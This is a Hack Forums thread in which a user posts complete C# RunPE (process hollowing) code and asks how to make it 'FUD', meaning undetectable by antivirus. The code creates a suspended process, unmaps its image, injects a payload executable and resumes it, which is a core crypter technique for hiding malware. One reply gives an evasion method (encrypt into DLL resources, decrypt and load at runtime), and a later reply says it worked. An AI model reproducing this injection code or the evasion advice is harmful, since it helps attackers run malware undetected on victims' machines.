

Forum:[Hack Forums](#)

Thread: [Help how to fud this runpe 4/33 Help c# runpe Tips](#)

cyberdog - September 26, 2011, 9:00 am

i need tips and your ideas to make it fud again ?

pm me your tips ?

```
Code public unsafe class SKY
{
```

```
public static bool FProt(byte[] exeBuffer, string hostProcess)
{
```

```
string optionalArguments = "";
```

```
var IMAGE_SECTION_HEADER = new byte[0x28];
var IMAGE_NT_HEADERS = new byte[0xf8];
var IMAGE_DOS_HEADER = new byte[0x40];
var PROCESS_INFO = new int[0x4];
var CONTEXT = new byte[0x2cc];
```

```
byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
    pish = p;
```

```
byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
    pinh = p;
```

```
byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
    pidh = p;
```

```
byte* ctx;
fixed (byte* p = &CONTEXT[0])
    ctx = p;
```

```
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;
```

```
//
```

```
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0,
IMAGE_DOS_HEADER.Length);
```

```

if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
    return false;

var e_lfanew = *(int*)(pidh + 0x3c);

// Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0,
IMAGE_NT_HEADERS.Length);

/* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
    return false;

// Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
    hostProcess += " " + optionalArguments;

if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false,
CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO))
    return false;

var ImageBase = new IntPtr(*(int*)(pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh +
0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) ==
IntPtr.Zero)
    FProt(exeBuffer, hostProcess); // Memory allocation failed; try again (this can happen in
low memory situations)

fixed (byte* p = &exeBuffer[0])
    NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p,
*(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);

for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
{
    Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length +
(IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0,
IMAGE_SECTION_HEADER.Length);
    fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
        NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */,
(IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /*
SizeOfRawData */), IntPtr.Zero);
}

NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx +
0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
*(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /*
AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);

```

```

    return true;
}

#region WinNT Definitions
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
#endregion

#region WinAPI
const string lace = "kernel32";
const string ntc = "ntdll.dll";

[DllImport(lace, SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);

[DllImport(lace, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);

[DllImport(ntc, SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

[DllImport(ntc, SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr
lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);

[DllImport(ntc, SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);

[DllImport(ntc, SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);

[DllImport(ntc, SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);

#endregion

}
}

```

Eternal Five - September 26, 2011, 9:42 am

Best tip: Spoiler ([Click to View](#)) LEARN HOW TO CODE OR GTFO, we are not your personal army.

renounceable - September 26, 2011, 1:50 pm

Wow such a valuable tip provided by uitklapbare eekhoorn. Please don't expect us to look at your copy and pasted code and do everything for you. Consider reading a programming book. Then after you have learned something, but you still can't find the solution to your problem, ask a 'programming related question'. That way we can narrow down a solution and know that you are actually capable of understanding what your presenting and are not just a script kiddie.

?pic - September 26, 2011, 2:46 pm

(Sep 26, 2011 09:42 AM)uitklapbare eekhoorn Wrote: [\[CITE\]](#) Best tip: Spoiler [\(Click to View\)](#)LEARN HOW TO CODE OR GTFO, we are not your personal army.
This made me literally LOL.

Ok, he is right, you need to learn yourself.

Xori - September 27, 2011, 4:05 pm

Punch it into a dll, encrypt to resources, load from resources, decrypt and call.

Gh0st-Zer0 - September 27, 2011, 4:25 pm

(Sep 27, 2011 04:05 PM)Xori Wrote: [\[CITE\]](#) Punch it into a dll, encrypt to resources, load from resources, decrypt and call.

What you said right now could be "The gate of heaven" for him, of course if he knew how to unlock the door first!

The majority of people asking questions like, "How can i Fud This?" are statistically sk1ds!

I wonder why he is not just try to learn serious programming instead of asking these Bul**s???

andolol - May 27, 2017, 11:44 am

(Sep 27, 2011 04:05 PM)Xori Wrote: [\[CITE\]](#) Punch it into a dll, encrypt to resources, load from resources, decrypt and call.

(Sep 27, 2011 04:25 PM)Gh0st-Zer0 Wrote: [\[CITE\]](#) What you said right now could be "The gate of heaven" for him, of course if he knew how to unlock the door first!

The majority of people asking questions like, "How can i Fud This?" are statistically sk1ds!

I wonder why he is not just try to learn serious programming instead of asking these Bul**s???

Hello, I know this is a very old post but just wanted to say that i've been able to fully fud a random runpe in c# found on the Internet with this method, because i made one in autoit 2 or 3yrs ago but i lost my code which was on an old usb drive which doesnt work anymore, thanks, very useful :)

ubbelol - May 28, 2017, 4:34 am

(Sep 27, 2011 04:25 PM)Gh0st-Zer0 Wrote: [\[CITE\]](#) I wonder why he is not just try to learn serious programming instead of asking these Bul**s???

To this day, 6 years later, I'm still trying to figure out what word he was censoring.